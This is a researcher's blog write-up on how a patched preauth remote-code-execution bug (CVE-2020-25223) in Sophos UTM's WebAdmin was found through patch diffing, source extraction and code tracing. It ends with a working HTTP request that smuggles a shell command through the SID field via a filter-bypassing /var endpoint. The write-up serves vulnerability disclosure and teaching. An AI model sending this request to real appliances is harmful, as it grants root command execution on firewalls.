Sophos UTM Preauth RCE: A Deep Dive into CVE-2020-25223
Note: Sophos fixed this issue in September 2020. Information about patch availability is in their security advisory.
Overview
On a recent client engagement I was placed in a Virtual Private Cloud (VPC) instance with the goal of gaining access to other VPCs. During enumeration of attack surface I came across a Sophos UTM 9 device:
When reviewing known vulnerabilities in these Sophos UTM devices, I came across CVE-2020-25223. The only information I could find about this vulnerability was that it was an unauthenticated remote command execution bug that affected several versions of the product:
A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM before v9.705 MR5, v9.607 MR7, and v9.511 MR11
After confirming with our client that they were running a vulnerable version, I posted to Twitter and a couple Slacks to see if anyone had any details on the vulnerability, and then set off on what I thought would be a quick adventure, but turned out not to be so quick in the end.
This blog post tells the story of that adventure and how in the end I was able to identify the preauth RCE.
Use the force Diffs, Luke Justin.
When looking for the details on a known patched bug, I started off the same way any sane person would, comparing the differences between an unpatched version and a patched version.
I grabbed ISOs for versions 9.510-5 and 9.511-2 of the Sophos UTM platform and spun them up in a lab environment. Truth be told I ended up spinning up six different versions, but the two I mentioned were what I ended up comparing in the end.
Enabling Remote Access
A nice feature on the Sophos UTM appliances is that once the instance is spun up, you can enable SSH, import your keys, and access the device as root using the Management -> System Settings -> Shell Access functionality in the web interface:
Then it's just a matter of SSH'ing into the instance:
$ ssh root@192.168.50.15
Last login: Mon Aug 16 14:37:00 2021 from 192.168.50.178
Sophos UTM
(C) Copyright 2000-2017 Sophos Limited and others. All rights reserved.
Sophos is a registered trademark of Sophos Limited and Sophos Group.
All other product and company names mentioned are trademarks or registered
trademarks of their respective owners.
For more copyright information look at /doc/astaro-license.txt
or http://www.astaro.com/doc/astaro-license.txt
NOTE: If not explicitly approved by Sophos support, any modifications
done by root will void your support.
sophos:/root #Where's the code?
I proxied all web traffic to the instances through Burp and found that the webadmin.plx endpoint handles a majority of the incoming web traffic. For instance, the following HTTP POST request is made when navigating to the instance, unauthenticated:
POST /webadmin.plx HTTP/1.1
Host: 192.168.50.15:4444
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 204
Origin: https://192.168.50.15:4444
Connection: close
Referer: https://192.168.50.15:4444/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Cache-Control: max-age=0
{"objs": [{"FID": "init"}], "SID": 0, "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629216182300_0.6752239026892818", "current_uuid": "", "ipv6": true}On the device we can see that webadmin.plx is indeed running:
sophos:/root # ps aux | grep -i webadmin.plx
wwwrun 12685 0.4 1.0 93240 89072 ? S 11:22 0:08 /var/webadmin/webadmin.plxIt turns out the webserver is actually running chroot'd in /var/sec/chroot-httpd/, so that's where we can find the file:
# ls /var/sec/chroot-httpd/var/webadmin/webadmin.plx
/var/sec/chroot-httpd/var/webadmin/webadmin.plxNot being familiar with the .plx file format, I used file to see what I was dealing with:
# file webadmin.plx
webadmin.plx: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), strippedHuh, ok...I was hoping for something easy like some PHP or Python or something. After poking at the ELF for a while and digging around online I came across the following writeup (I don't know where the original is, I'm sorry):
https://paper.seebug.org/1397/
It seems like I'm not the first person to assess one of these devices, and honestly, this writeup probably saved me several more hours of poking around. The gist of the writeup is that the author found that the .plx files are Perl files that have been compiled using ActiveState's Perl Dev Kit and that you can access the original source by running the .plx file in a debugger, setting a break point, and recovering the script from memory.
I went through this process and it worked surprisingly well. Note for the author of the writeup: you can use an SSH tunnel to hit the IDA debugger running on the Sophos UTM instance.
Ok... but where's the rest of the code...?
At this point I had access to the webadmin.plx code (which is actually asg.plx and is actually Perl code) which was great, but there was a big problem: the asg.plx file isn't a massive file with all of the code. I needed access to the Perl modules that asgx.plx imports, like:
# astaro stuff ---------------------------------------------
use Astaro::Logdispatcher;
use Astaro::Time::Zone qw/lgdiff/;
# necessary core modules -----------------------------------
use core::modules::core_globals;
use core::modules::core_tools;asg.plx:20-26
I wish I could say I was able to get access to this code quickly and easily, and in the end it was as simple as extracting it with the right tools, but I didn't know that at the time and I stumbled and crawled a great distance along the way.
I was able to confirm that the modules that were imported by asg.plx would be accessible by taking memory dumps of the process and using strings to find bits and pieces of code, so on the bright side, the code was definitely there.
After a couple late nights of trying different things like extracting code from memory dumps, patching the binaries, etc... I posted the problem and the webadmin.plx file in work chat. There were great suggestions on using LD_PRELOAD on libperl.so or using binary instrumentation with frida or PIN to get access to the source code, but then one of our great reverse engineers found that the file actually had a BFS filesystem embedded at the end of the ELF file, and in a couple minutes was able to put together a script that could then be used with https://github.com/the6p4c/bfs_extract to extract the filesystem (and with that, the source).
The script can be found here:
import sys
import struct
class BFS:
def __init__(self, data):
self.data = data
@classmethod
def open(cls, path):
with open(path, 'r+b') as f:
f.seek(-12, 2)
magic_chunk = f.read(12)
pointer_header = struct.unpack('<III', magic_chunk)
assert(pointer_header[0] == 0xab2155bc)
f.seek(-12 - pointer_header[2], 2)
data = f.read(pointer_header[2])
return cls(data)
bfs = BFS.open(sys.argv[1])
with open(sys.argv[2], 'wb') as outf:
outf.write(bfs.data)yank.py
Using it is fairly straight forward:
#!/bin/bash
python3 ~/tools/bfs_extract/yank.py $1 stage1-$1
python3 ~/tools/bfs_extract/bfs.py stage1-$1 stage2-$1
python3 ~/tools/bfs_extract/bfs_extract.py stage2-$1 $2bfs_extract.sh
$ bfs_extract.sh webadmin.plx extracted/
Found file DateTime/TimeZone/America/Indiana/Vevay.pm
Offset: 1ab4c
Found file Astaro/Confd/Object/time/single.pm
Offset: 1b6a4
Found file auto/Net/SSLeay/httpx_cat.al
Offset: 1b8a4
Found file auto/NetAddr/IP/InetBase/inet_any2n.alWatching the thousands of source files extracting from the .plx file was beautiful, I almost cried tears of joy.
Back to the Diffs
I spent a fair amount of time extracting the source code out of the .plx files from the UTM instances and also pulled the entire /var/sec/chroot-httpd/ directory to capture any differences in configuration files. My tool of choice for reviewing diffs is Meld as it lets me quickly and visually review diffs of directories and files:
Between the versions, the only change was in the wfe/asg/modules/asg_connector.pm file:
The change in this file can be seen in meld below:
The updated code shows a check being added to the switch_session subroutine make sure the SID (Session ID) does not contain any other characters other than alphanumeric characters; so it's likely that the vulnerability sources from the value of SID.
Going Down the Rabbit Hole
The only place the switch_session subroutine is called is from the do_connect subroutine:
$ ag switch_session
wfe/asg/modules/asg_connector.pm
68:# just a wrapper for switch_session
71: return $self->switch_session(@_);
76:sub switch_session {
81: &main::msg('d', "Called " . __PACKAGE__ . "::switch_session()");The do_connect subroutine just appears to be a wrapper for the switch_session subroutine:
# just a wrapper for switch_session
sub do_connect {
my $self = shift;
return $self->switch_session(@_);
}wfe/asg/modules/asg_connector.pm:68-72
The do_connect subroutine is used in various places in the code:
$ ag do_connect
wfe/asg/modules/asg_login.pm
290: $SID = $sys->do_connect($config->{backend_address});
wfe/asg/modules/asg_misc.pm
110: $SID = $sys->do_connect($config->{backend_address},$vars->{SID}) if $vars->{SID};
wfe/asg/modules/asg_main.pm
55: $SID = $sys ? $sys->do_connect($config->{backend_address}, $_cookies->{SID}->value) : undef;
wfe/asg/modules/asg_connector.pm
69:sub do_connect {
core/modules/core_connector.pm
30:# renamed connect to do_connect for avoid confusion with
32:sub do_connect {
33: die __PACKAGE__ . '::do_connect() has to be implemented by inherting module!';
asg.plx
190: $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
216: $SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;
325: if ( $cookies->{SID} and ( $cookies->{SID} eq $SID or $SID = $sys->do_connect($config->{backend_address}, $cookies->{SID}) ) ) {Knowing that asg.plx is the script name of webadmin.plx, let's take a look there first:
# POST request - means JSON request
if ( $ENV{'REQUEST_METHOD'} eq 'POST' ) {
# no further processing in case of content-type violation
goto REQ_OUTPUT if $req->{ct_violation};
# switch our identity if necessary
$SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;asg.plx:209-216
The do_connect subroutine is used at the start of the HTTP POST request handling and also takes SID so we should be able to hit it with any HTTP POST request.
Throughout the code there are references to confd which is a backend service that the httpd frontend communicates with over RPC. When making an HTTP POST request to webadmin.plx, the httpd service connects to confd and sends it some data, such as SID, that's what we are seeing with:
$SID = $sys ? $sys->do_connect($config->{backend_address}, $req->{SID}) : undef;So when an HTTP POST request is made, the SID is sent to confd where it is checked to see if it's a valid session identifier. This can be seen in the log files in /var/log/ on the appliance. If we make the following request with an invalid SID:
POST /webadmin.plx HTTP/1.1
Host: 192.168.50.17:4444
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17:4444
DNT: 1
Connection: close
Referer: https://192.168.50.17:4444/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"objs": [{"FID": "get_user_information"}], "SID":"ATREDIS", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1628997061547_0.82356395860014", "current_uuid": "", "ipv6": true}Then we can see the lookup happen in the /var/log/confd-debug.log log file. The confd calls get_SID with the user-supplied SID:
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:125() => listener: new connection...
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::reap_children:118() => reaped: 32643
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:215() => forked: 32653
2021:08:17-15:20:50 sophos9-510-5-1 confd[3751]: D Astaro::RPC::server_loop:223() => workers: 11682, 32653, 10419
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::server_loop:159() => child: serving connection from 127.0.0.1
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::get_request:321() => get_request() start
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: >=========================================================================
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::response:287() => prpc response: $VAR1 = [
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: 1,
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: 'Welcome!'
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: ];
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: <=========================================================================
2021:08:17-15:20:50 sophos9-510-5-1 confd[32653]: D Astaro::RPC::get_request:321() => get_request() start
--
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'SID' => 'ATREDIS',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'asg_ip' => '192.168.50.17',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'ip' => '192.168.50.178'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: }
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: ],
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'id' => 'unsupported',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'method' => 'NewHandle',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'path' => '/webadmin/nonproxy'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: };
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: |=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::server_loop:178() => method: new params: $VAR1 = [
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: {
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'SID' => 'ATREDIS',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'asg_ip' => '192.168.50.17',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'ip' => '192.168.50.178'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: }
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: ];
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: <=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D utils::write_sigusr1:389() => id="3100" severity="debug" sys="System" sub="confd" name="write_sigusr1" user="system" srcip="0.0.0.0" facility="system" client="unknown" call="new" mode="add" pids="32753"
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::response:287() => prpc response: $VAR1 = bless( {}, 'Astaro::RPC' );
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::get_request:321() => get_request() start
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: >=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: D Astaro::RPC::get_request:461() => got request: $VAR1 = {
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'params' => [
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: bless( {}, 'Astaro::RPC' ),
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'get_SID'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: ],
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'id' => 'unsupported',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'method' => 'CallMethod',
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: 'path' => '/webadmin/nonproxy'
2021:08:17-15:23:14 sophos9-510-5-1 confd[32753]: };/var/log/confd-debug.log
The confd service responds back to the httpd service that the SID does not exist and we can see that error occur in the /var/log/webadmin.log log file:
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: |=========================================================================
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: W No backend for SID = ATREDIS...
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]:
2021:08:17-15:23:14 sophos9-510-5-1 webadmin[32509]: 1. main::top-level:221() asg.plx/var/log/webadmin.log
Let's see what exactly happens with the SID value that we supply in our HTTP POST request. When the connection to confd is made, confd attempts to read the stored SID from the confd sessions directory at $config::session_dir (/var/confd/var/sessions):
my $new = read_storage("$config::session_dir/$session->{SID}");Session.pm:189
The read_storage subroutine takes a $file which in this case is SID and passes it to the Storable::lock_retrieve subroutine:
# read from Perl Storable file
sub read_storage {
my $file = shift;
my $href;
require Storable;
eval { local $SIG{'__DIE__'}; $href = Storable::lock_retrieve($file); };
return if $@;
return unless ref $href eq 'HASH';
return $href;
}Astaro/file.pm:350-361
The lock_retrieve subroutine calls the _retrieve subroutine:
sub lock_retrieve {
_retrieve($_[0], 1);
}auto/Storable/lock_retrieve.al:12-14
The _retrieve subroutine then calls open() on the file:
sub _retrieve {
my ($file, $use_locking) = @_;
local *FILE;
open(FILE, $file) || logcroak "can't open $file: $!";auto/Storable/_retrieve.al:8-11
In Perl, open() can be a dangerous function when user-supplied data is passed as the second argument. You can learn more about this in Perl's official documentation here, but this quick example demonstrates the danger:
#!/usr/bin/perl
my $a = "|id";
local *FILE;
open(FILE, $a);test.pl
$ perl test.pl
uid=1000(justin) gid=1000(justin) groups=1000(justin)In the case of the UTM appliance, the user-supplied SID value is passed to the second argument of open(). That seems pretty straight forward to exploit, right? Let's give it a shot. We'll attempt to run the command touch /tmp/pwned:
POST /webadmin.plx HTTP/1.1
Host: 192.168.50.17
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17
Connection: close
Referer: https://192.168.50.17/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"objs": [{"FID": "init"}], "SID": "|touch /tmp/pwned|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}Now let's check for our file!
# ls -l /tmp/pwned
ls: cannot access /tmp/pwned: No such file or directoryErm. No file has been written to the /tmp/ directory. When I got to this point, I was frustrated, let me tell you.
Let's look into the logs and see if we can figure out what happened.
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: |=========================================================================
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: D Astaro::RPC::server_loop:178() => method: new params: $VAR1 = [
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: {
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: 'SID' => '0ouch /tmp/pwned',
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: 'asg_ip' => '192.168.50.17',
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: 'ip' => '192.168.50.178'
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: }
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: ];
2021:08:17-16:45:30 sophos9-510-5-1 confd[5375]: <=========================================================================/var/log/confd-debug.log
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: |=========================================================================
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: W No backend for SID = 0ouch /tmp...
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]:
2021:08:17-16:45:30 sophos9-510-5-1 webadmin[5272]: 1. main::top-level:221() asg.plx/var/log/webadmin.log
Hmm... The SID in the logs is 0ouch /tmp/pwned, that's not what we sent...
Say Diff Again!
At this point I knew exactly what the issue was. Remember at the beginning of this writeup when I said that I like to diff both source code and configuration files? Meet the other diff between versions:
Reviewing the httpd-webadmin.conf configuration file in /var/chroot-httpd/etc/httpd/vhost shows us this almost-show-stopper:
<LocationMatch webadmin.plx>
AddInputFilter sed plx
InputSed "s/\"SID\"[ \t]*:[ \t]*\"[^\"]*\|[ \t]*/\"SID\":\"0/g"
</LocationMatch>/var/chroot-httpd/etc/httpd/vhost/httpd-webadmin.conf:64-67
Any HTTP requests coming into webadmin.plx are processed by InputSed which matches and replaces our "SID":"| JSON body with "SID":"0. This can be visually seen on regex101.com:
After spending some time attempting to bypass the regex and try different payloads, I had a thought... This input filter only triggers when the location matches webadmin.plx. And then I saw it and it was beautiful:
RewriteRule ^/var /webadmin.plx/var/chroot-httpd/etc/httpd/vhost/httpd-webadmin.conf:12
Making an HTTP request to the /var endpoint is the same as making a request to the /webadmin.plx endpoint, but without the filter. Making the request again, but to the new endpoint:
POST /var HTTP/1.1
Host: 192.168.50.17
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.5.1.1
Content-type: application/json; charset=UTF-8
Content-Length: 227
Origin: https://192.168.50.17
Connection: close
Referer: https://192.168.50.17/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"objs": [{"FID": "init"}], "SID": "|touch /tmp/pwned|", "browser": "gecko_linux", "backend_version": -1, "loc": "", "_cookie": null, "wdebug": 0, "RID": "1629210675639_0.5000855117488202", "current_uuid": "", "ipv6": true}And here's our file:
# ls -l /tmp/pwned
-rw-r--r-- 1 root root 0 Aug 17 17:07 /tmp/pwnedWe now have unauthenticated RCE on the Sophos UTM appliance as the root user.
And that ends our adventure for now. I hope you enjoyed this writeup :)
